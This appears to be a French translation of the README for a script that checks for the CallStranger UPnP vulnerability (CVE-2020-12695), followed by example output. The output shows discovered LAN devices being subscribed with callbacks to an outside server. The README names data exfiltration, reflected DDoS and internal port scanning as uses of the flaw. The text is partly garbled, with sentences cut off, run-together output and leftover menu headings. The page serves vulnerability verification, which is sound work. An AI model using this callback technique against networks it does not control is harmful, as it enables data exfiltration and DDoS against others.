CallStranger

Ce script a été créé par Yunus Çadırcı (https://twitter.com/yunuscadirci) pour vérifier la vulnérabilité CallStranger (CVE-2020-12695). Un attaquant peut utiliser cette vulnérabilité pour :

Contourner les solutions DLP pour exfiltrer des données
Utiliser des millions de dispositifs UPnP exposés sur Internet comme source d’attaques DDoS TCP réfléchies amplifiées / SYN Flood
Scanner des ports internes depuis des dispositifs UPnP exposés sur Internet Ce script simule uniquement l’exfiltration de données. Vous trouverez des informations détaillées sur https://www.callstranger.com https://kb.cert.org/vuls/id/339275 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12695 Version légèrement modifiée de https://github.com/5kyc0d3r/upnpy utilisée pour la communication UPnP de base

Vulnérabilité CallStranger

La vulnérabilité CallStranger, présente dans des milliards de dispositifs UPNP, peut être exploitée pour exfiltrer des données (même avec des mesures de sécurité DLP/périmétriques appropriées), scanner votre réseau, ou même faire participer votre réseau à une attaque DDoS. La vulnérabilité – CallStranger – est causée par la valeur du champ Callback dans la fonction SUBSCRIBE d'UPnP, qui peut être contrôlée par un attaquant et permet une vulnérabilité de type SSRF affectant des millions de dispositifs exposés sur Internet et des milliards de dispositifs LAN. Cette vulnérabilité peut être exploitée pour :

Contourner les dispositifs DLP et de sécurité réseau pour exfiltrer des données
Utiliser des millions de dispositifs UPnP exposés sur Internet comme source de DDoS TCP réfléchi amplifié (pas identique à )

_________ .__ .__ _________ __ \_ ___ \_____ | | | | / _____// |_____________ ____ ____ ___________ / \ \/\__ \ | | | | \_____ \ __\_ __ \__ \ / \ / ___\_/ __ \_ __ \ \ \____/ __ \| |_| |__/ \| | | | \// __ \| | \/ /_/ > ___/| | \/ \______ (____ /____/____/_______ /|__| |__| (____ /___| /\___ / \___ >__| \/ \/ \/ \/ \//_____/ \/ Ce script a été créé par Yunus Çadırcı (https://twitter.com/yunuscadirci) pour vérifier la vulnérabilité CallStranger (CVE-2020-12695). Un attaquant peut utiliser cette vulnérabilité pour : * Contourner les solutions DLP pour exfiltrer des données * Utiliser des millions de dispositifs UPnP exposés sur Internet comme source de DDoS TCP réfléchi amplifié / SYN Flood * Scanner des ports internes depuis des dispositifs UPnP exposés sur Internet Vous trouverez des informations détaillées sur https://www.callstranger.com https://kb.cert.org/vuls/id/339275 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12695 Version légèrement modifiée de https://github.com/5kyc0d3r/upnpy utilisée pour la communication UPnP de base Hôte distant : http://20.42.105.45 Port distant : 80 !Erreur dans la définition du service http://192.168.1.24:2869 urn:dial-multiscreen-org:service:dial:1 10 appareils trouvés : Huawei Home Gateway http://192.168.1.1:37215 ( http://192.168.1.1:37215/upnpdev.xml ) 5 service(s) trouvé(s) pour Huawei Home Gateway urn:schemas-upnp-org:service:Layer3Forwarding:1 --> http://192.168.1.1:37215/evt/Layer3Forwarding_1 urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1 --> http://192.168.1.1:37215/evt/WANCommonInterfaceConfig_1 urn:schemas-upnp-org:service:WANPPPConnection:1 --> http://192.168.1.1:37215/evt/WANPPPConnection_1 urn:schemas-upnp-org:service:WANEthernetLinkConfig:1 --> http://192.168.1.1:37215/evt/WANEthernetLinkConfig_1 urn:schemas-upnp-org:service:LANHostConfigManagement:1 --> http://192.168.1.1:37215/evt/LANHostConfigManagement_1 OturmaTV http://192.168.1.22:2870 ( http://192.168.1.22:2870/dmr.xml ) 3 service(s) trouvé(s) pour OturmaTV urn:schemas-upnp-org:service:RenderingControl:3 --> http://192.168.1.22:2870/event/RenderingControl urn:schemas-upnp-org:service:ConnectionManager:3 --> http://192.168.1.22:2870/event/ConnectionManager urn:schemas-upnp-org:service:AVTransport:3 --> http://192.168.1.22:2870/event/AVTransport ChromecastOturma4k http://192.168.1.21:8008 ( http://192.168.1.21:8008/ssdp/device-desc.xml ) 1 service(s) trouvé(s) pour ChromecastOturma4k urn:dial-multiscreen-org:service:dial:1 --> http://192.168.1.21:8008/ssdp/notfound --ignoré http://192.168.1.21:8008/ssdp/notfound car il contient des mots-clés de service factices VESTEL TV http://192.168.1.40:2870 ( http://192.168.1.40:2870/dmr.xml ) 3 service(s) trouvé(s) pour VESTEL TV urn:schemas-upnp-org:service:RenderingControl:1 --> http://192.168.1.40:2870/RenderingControl/event urn:schemas-upnp-org:service:ConnectionManager:1 --> http://192.168.1.40:2870/ConnectionManager/event urn:schemas-upnp-org:service:AVTransport:1 --> http://192.168.1.40:2870/AVTransport/event MutfakChromecast http://192.168.1.36:8008 ( http://192.168.1.36:8008/ssdp/device-desc.xml ) 1 service(s) trouvé(s) pour MutfakChromecast urn:dial-multiscreen-org:service:dial:1 --> http://192.168.1.36:8008/ssdp/notfound --ignoré http://192.168.1.36:8008/ssdp/notfound car il contient des mots-clés de service factices VESTEL TV http://192.168.1.40:2870 ( http://192.168.1.40:2870/dmr.xml ) 3 service(s) trouvé(s) pour VESTEL TV urn:schemas-upnp-org:service:RenderingControl:1 --> http://192.168.1.40:2870/RenderingControl/event urn:schemas-upnp-org:service:ConnectionManager:1 --> http://192.168.1.40:2870/ConnectionManager/event urn:schemas-upnp-org:service:AVTransport:1 --> http://192.168.1.40:2870/AVTransport/event DESKTOP-AEE3E5V http://192.168.1.31:2869 ( http://192.168.1.31:2869/upnphost/udhisapi.dll?content=uuid:7ea9d240-fbe4-4ad8-8001-5074901c3695 ) 1 service(s) trouvé(s) pour DESKTOP-AEE3E5V urn:schemas-upnp-org:service:RenderingControl:1 --> http://192.168.1.31:2869/upnphost/udhisapi.dll?event=uuid:7ea9d240-fbe4-4ad8-8001-5074901c3695+urn:upnp-org:serviceId:RenderingControl OturmaTV http://192.168.1.22:49154 ( http://192.168.1.22:49154/nmsDescription.xml ) 2 service(s) trouvé(s) pour OturmaTV urn:schemas-upnp-org:service:ContentDirectory:3 --> http://192.168.1.22:49154/upnp/event/ContentDirectoryNmsO urn:schemas-upnp-org:service:ConnectionManager:2 --> http://192.168.1.22:49154/upnp/event/ConnectionManagerNmsO XboxOne http://192.168.1.24:2869 ( http://192.168.1.24:2869/upnphost/udhisapi.dll?content=uuid:e69c8b0b-8a9d-4811-839e-c94650077ee0 ) 0 service(s) trouvé(s) pour XboxOne XboxOne http://192.168.1.24:2869 ( http://192.168.1.24:2869/upnphost/udhisapi.dll?content=uuid:e4d56268-9801-43d2-b1cf-0dbf71d3c06c ) 3 service(s) trouvé(s) pour XboxOne urn:schemas-upnp-org:service:RenderingControl:1 --> http://192.168.1.24:2869/upnphost/udhisapi.dll?event=uuid:e4d56268-9801-43d2-b1cf-0dbf71d3c06c+urn:upnp-org:serviceId:RenderingControl urn:schemas-upnp-org:service:AVTransport:1 --> http://192.168.1.24:2869/upnphost/udhisapi.dll?event=uuid:e4d56268-9801-43d2-b1cf-0dbf71d3c06c+urn:upnp-org:serviceId:AVTransport urn:schemas-upnp-org:service:ConnectionManager:1 --> http://192.168.1.24:2869/upnphost/udhisapi.dll?event=uuid:e4d56268-9801-43d2-b1cf-0dbf71d3c06c+urn:upnp-org:serviceId:ConnectionManager Total 20 service(s) trouvé(s). Voulez-vous continuer pour VÉRIFIER si les services sont vulnérables ? Attention : Cette opération nécessite un accès Internet et peut transférer des données sur les appareils via le réseau. Les données sont chiffrées localement et nous ne pouvons pas voir quels services sont vulnérables, mais les FAI et autres éléments peuvent être en mesure d'inspecter les en-têtes HTTP créés par le dispositif UPnP. Comme la plupart des piles UPnP ne permettent pas les connexions SSL, nous ne pouvons pas les utiliser. Voulez-vous continuer ? y/N y Session obtenue avec succès : nae9lqq3keg79l3qei9ahohvqe Clé aléatoire symétrique pour le chiffrement : b'yy8e8uAg4kV-oSAuvdxrJBPwxMHx0JuEm1BsYXCzBYE=' Nous n'envoyons pas cette valeur au serveur, donc nous ne pouvons pas voir quels services sont vulnérables. Tout le processus de confirmation est effectué côté client Appel de l'étranger pour http://192.168.1.1:37215/evt/Layer3Forwarding_1 avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNsB6Kv35geEsxbkkrAgED5So1wLhWURjcFwkyJ9h7w21BtUmbBmzAQ_YTgN-168MatiFy-skmKyTcleLkVKn5iv6xhEcY5DGiH_MJbeeZ77_AmgM_UF4dqqXsIdHJmROk&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.1:37215/evt/Layer3Forwarding_1 semble réussi {'Server': 'ATP UPnP Core', 'TIMEOUT': 'Second-1800', 'SID': 'uuid:50898211-6467-9505-1115-309761531064', 'Date': 'Mon, 08 Jun 2020 07:15:22 GMT', 'Content-Length': '0'} Appel de l'étranger pour http://192.168.1.1:37215/evt/WANCommonInterfaceConfig_1 avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWN7k769GzqT9VpIDZr2e93mpy8uz70lvmdxGSssRVWvn6Q8nGvA7nmKEVU4nWTA5c4eelJ7T2U8hGxvwVLlTl15LZ2_XH8boVyb45wS5oPB93CdwqUU0T1hHDDY5r4AFEjcmhHvYtx8RC_tAzm2eRk7w==&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.1:37215/evt/WANCommonInterfaceConfig_1 semble réussi {'Server': 'ATP UPnP Core', 'TIMEOUT': 'Second-1800', 'SID': 'uuid:07788594-5417-8052-8862-186260512738', 'Date': 'Mon, 08 Jun 2020 07:15:22 GMT', 'Content-Length': '0'} Appel de l'étranger pour http://192.168.1.1:37215/evt/WANPPPConnection_1 avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWN5YhNQVAQagPd3LpBocI7jwkv8caPKiPAfeeD5X1uNSFZ7mfTWB3QwFcsVcbFln5JrVD3mlvHzD3UrYUC0VK_uRHd_c2K-m6h_Od2NUNB1dduNNMh7rMa0a2Wlq8WxxZn&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.1:37215/evt/WANPPPConnection_1 semble réussi {'Server': 'ATP UPnP Core', 'TIMEOUT': 'Second-1800', 'SID': 'uuid:82456222-8470-4699-7387-649194725316', 'Date': 'Mon, 08 Jun 2020 07:15:22 GMT', 'Content-Length': '0'} Appel de l'étranger pour http://192.168.1.1:37215/evt/WANEthernetLinkConfig_1 avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNRSj2ZczT5L4ZJvtQtwtyQaQmiYBdMAP96q-x1eCWLXAwGIIHMwZ6wvkPtlI0eAaYQHfOHqxrK2PvyYjKveFA9sbo4iyZ0vQKEyxStzRPCLQep4s0c0Lu53em19SP9T0S6FwCn8ISqe3RhloXMlA6nw==&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.1:37215/evt/WANEthernetLinkConfig_1 semble réussi {'Server': 'ATP UPnP Core', 'TIMEOUT': 'Second-1800', 'SID': 'uuid:97714486-6046-2730-7119-835081292303', 'Date': 'Mon, 08 Jun 2020 07:15:23 GMT', 'Content-Length': '0'} Appel de l'étranger pour http://192.168.1.1:37215/evt/LANHostConfigManagement_1 avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNM3m3GW8-4btkYqaWTStBESHNmhQqZwEDd8jRONZyHcWwp8aQDkTpIk__0qv0m7vLuRdfCVt0P5n3oRcbnUXvUh3BPZ1ZwRfXtFyWr3PjKcIVbvkGj4EWD2pFKeiBEFDfZKRvR0pzFnqdxdiUuSRytQ==&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.1:37215/evt/LANHostConfigManagement_1 a échoué avec le code d'état :501 {'Server': 'ATP UPnP Core', 'Date': 'Mon, 08 Jun 2020 07:15:23 GMT', 'Content-Length': '0'} Appel de l'étranger pour http://192.168.1.22:2870/event/RenderingControl avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNny3BDg9OPz7WaHI8MiJpkALTuYhq7nY6l4raSduMcqumRKn4UlCXYs3sU9MgDhSi8-WtjR_X45asVQ3-r5fZ4ky6LR0WiG4BhqUTwmkf2615sCC3G4ZSfRGYq-G5qWVX&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.22:2870/event/RenderingControl semble réussi {'DATE': 'Mon, 08 Jun 2020 07:15:24 GMT', 'SERVER': 'IPI/1.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:1387715a-035e-1090-b8e1-eef4918f5627', 'TIMEOUT': 'Second-300', 'CONTENT-LENGTH': '0', 'CONNECTION': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.22:2870/event/ConnectionManager avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNKQTdXOAlJaFdcir5kgI_v9PxZnpeWD-9IS6U2TqMM2aL1a4gg-JTL3CT5K8ZWAUBbEePDGqzqv7iiDzk41AMEiXILhED7lGiJ6wOO3LMSXNhamdQ37BLa8AoWmUuDGBxe-AEss0TC-QY8g7I67M68Q==&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.22:2870/event/ConnectionManager semble réussi {'DATE': 'Mon, 08 Jun 2020 07:15:24 GMT', 'SERVER': 'IPI/1.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:138b078e-035e-1090-a367-cb37c034dcad', 'TIMEOUT': 'Second-300', 'CONTENT-LENGTH': '0', 'CONNECTION': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.22:2870/event/AVTransport avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNw-5CaKWtBdFlWBV6PQtV4Q8koFEr9nKRbAOAm-_f035IQl9uUNY6MdrneLHLi_tBKJ37i5OOLiBsOYADTUpYtsFWApBe3NPCQgJDh5omi2mmClmPiVCPdjUNu7-TYmiK&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.22:2870/event/AVTransport semble réussi {'DATE': 'Mon, 08 Jun 2020 07:15:24 GMT', 'SERVER': 'IPI/1.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:138da0f2-035e-1090-9f01-aca6dbf642e0', 'TIMEOUT': 'Second-300', 'CONTENT-LENGTH': '0', 'CONNECTION': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.40:2870/RenderingControl/event avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNtLC8GIuICPflEhBEu8nFgxe12U0nnrJ_ewbmVwlrtu0yEqC6rWp3CuUgYdHSYalFv8dG5ETCsQBnx6PVdHbSzk6EGpYBwo8nvdXqJtdnvnjeveUz9Q4bhwZ4qDKKmiQb&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.40:2870/RenderingControl/event semble réussi {'Date': 'Mon, 08 Jun 2020 07:15:24 GMT', 'Server': 'NFLC/3.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:13e92d5a-035e-1090-8000-bc52a0dfdacc', 'Timeout': 'Second-300', 'Content-Length': '0', 'Connection': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.40:2870/ConnectionManager/event avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNJJsfohjZJRLZdiBF4Kvt1amVenr9a1Zi3oHhu_Xfomk_li6uJ9l0OeR6YVh2d6qbCF-t1uAmMVJfs5Tu7FWiNg15UXhyF8ubI_YZxtXTC4zpxHt7r2MdISJ8WwOFQ_J-f6E5yV6Bv8c4A1BBqfuD2Q==&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.40:2870/ConnectionManager/event semble réussi {'Date': 'Mon, 08 Jun 2020 07:15:24 GMT', 'Server': 'NFLC/3.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:13ec9fee-035e-1090-8000-bc52a0dfdacc', 'Timeout': 'Second-300', 'Content-Length': '0', 'Connection': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.40:2870/AVTransport/event avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWN0JCuymqONPp3Sbu9E_TUiUmXTZ5s777Hm2WsV7CO40kqjYGLoibSPew4uBpjel6Y_pOKPQOf3PsZwKG-PIC0G5jJiqEHmwRFI-Bd6ftBUIltwYGTtiBYII1QHfQ2c7mp&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.40:2870/AVTransport/event semble réussi {'Date': 'Mon, 08 Jun 2020 07:15:24 GMT', 'Server': 'NFLC/3.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:13f07b14-035e-1090-8000-bc52a0dfdacc', 'Timeout': 'Second-300', 'Content-Length': '0', 'Connection': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.40:2870/RenderingControl/event avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNZwdAHuBpKwJw6L4vBT59oY3xnIU5iS85Gkmp8Ajo1p7gQx3FmvvyeWdNvX0vNhJ5ZDYLqJNp_Sct_F6xzJFlHSFe2nj4EvtiPL-GbHfBlHsthplZFfczbyXoqFxgwOlw&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.40:2870/RenderingControl/event semble réussi {'Date': 'Mon, 08 Jun 2020 07:15:24 GMT', 'Server': 'NFLC/3.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:13f45a54-035e-1090-8000-bc52a0dfdacc', 'Timeout': 'Second-300', 'Content-Length': '0', 'Connection': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.40:2870/ConnectionManager/event avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNlKb5TTOnwnyQPA3au856DTuiCwyYdtGcCpSYHFNCBJ4j1Tr-1HbnLV59m9kHppA6GYRZpECoT-2s7MAwIpjvcllbbCdc0ORHoA40jDBwzdqECjLPCZnM1GncnOgfSFvfTYnbOMbnbYlY825Oi0f_ZA==&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.40:2870/ConnectionManager/event semble réussi {'Date': 'Mon, 08 Jun 2020 07:15:24 GMT', 'Server': 'NFLC/3.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:13f8483a-035e-1090-8000-bc52a0dfdacc', 'Timeout': 'Second-300', 'Content-Length': '0', 'Connection': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.40:2870/AVTransport/event avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNBpQ_jvIj1auFPntVMxiNgqCAMMLd4m960P-5nA87VRRR-cCDjUthjQ1BaiXYGw9lJ2QS6u6Iq1jl_ugpE8ef7hoeuK9oT33wDIjm9cST_xj4IYW_S2SddtSsHhIwtkMX&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.40:2870/AVTransport/event semble réussi {'Date': 'Mon, 08 Jun 2020 07:15:24 GMT', 'Server': 'NFLC/3.0 UPnP/1.0 DLNADOC/1.50', 'SID': 'uuid:13fc0db2-035e-1090-8000-bc52a0dfdacc', 'Timeout': 'Second-300', 'Content-Length': '0', 'Connection': 'Keep-Alive'} Appel de l'étranger pour http://192.168.1.31:2869/upnphost/udhisapi.dll?event=uuid:7ea9d240-fbe4-4ad8-8001-5074901c3695+urn:upnp-org:serviceId:RenderingControl avec http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNk6hSWo8XmOpY-kvAsWA4ztVyP71dJy0Pit2GWl9lH5u7CiU8selzo2uSXmRczZYz2MMwbF45En3rkfmhk5JkRHRQOpytn1GhDClqevh-S6UBAiDiRvcnBFRhAyb-C6mjvOCbjpZ1amIaQs5wxPFH9OSCT6aeIp5BRPeCLbk0XsbExDvq7Kilmf0X-CeoJxwrOlzhEFt3aA9UbzrP5WKq_6KAVtxk_rDMemINYtBsjMwyAwSFIr2duohzAsL7pe-f&token=nae9lqq3keg79l3qei9ahohvqe Abonnement à http://192.168.1.31:2869/upnphost/udhisapi.dll?event=uuid:7ea9d240-fbe4-4ad8-8001-5074901c3695+urn:upnp-org:serviceId:RenderingControl semble réussi {'Server': 'Microsoft-Windows/10.0 UPnP/1.0 UPnP-Device-Host/1.0 Microsoft-HTTPAPI/2.0', 'Timeout': 'Second-300', 'SID': 'uuid:73096487-e9ce-4781-93bf-b5529b4120e9', 'Date': 'Mon, 08 Jun 2020 07:15:23 GMT', 'Content-Length': '0'}Calling stranger for http://192.168.1.22:49154/upnp/event/ContentDirectoryNmsO with http://20.42.105.45:80/CallStranger.php?c=addservice&service=gAAAAABe3eWNA1hU2ZXgFrbgMOrf3NfpHkNgShYE8oH0Zr1D8j1NHPWqCe7bEs_7g2TnvFmeoOE7hCLuzKVxdmviS-WjlvHLMlKzpJ9Yp4GxsPzviV8JD-Gnfj4yrt-SXcJe2c7Hb88BKxBqH5yRxSRZRSr6t7Ehjg==&token=nae9lqq3keg79l3qei9ahohvqe

CallStranger

Populaires

Installation

Utilisation

Comment fonctionne le script ?

Exemple de sortie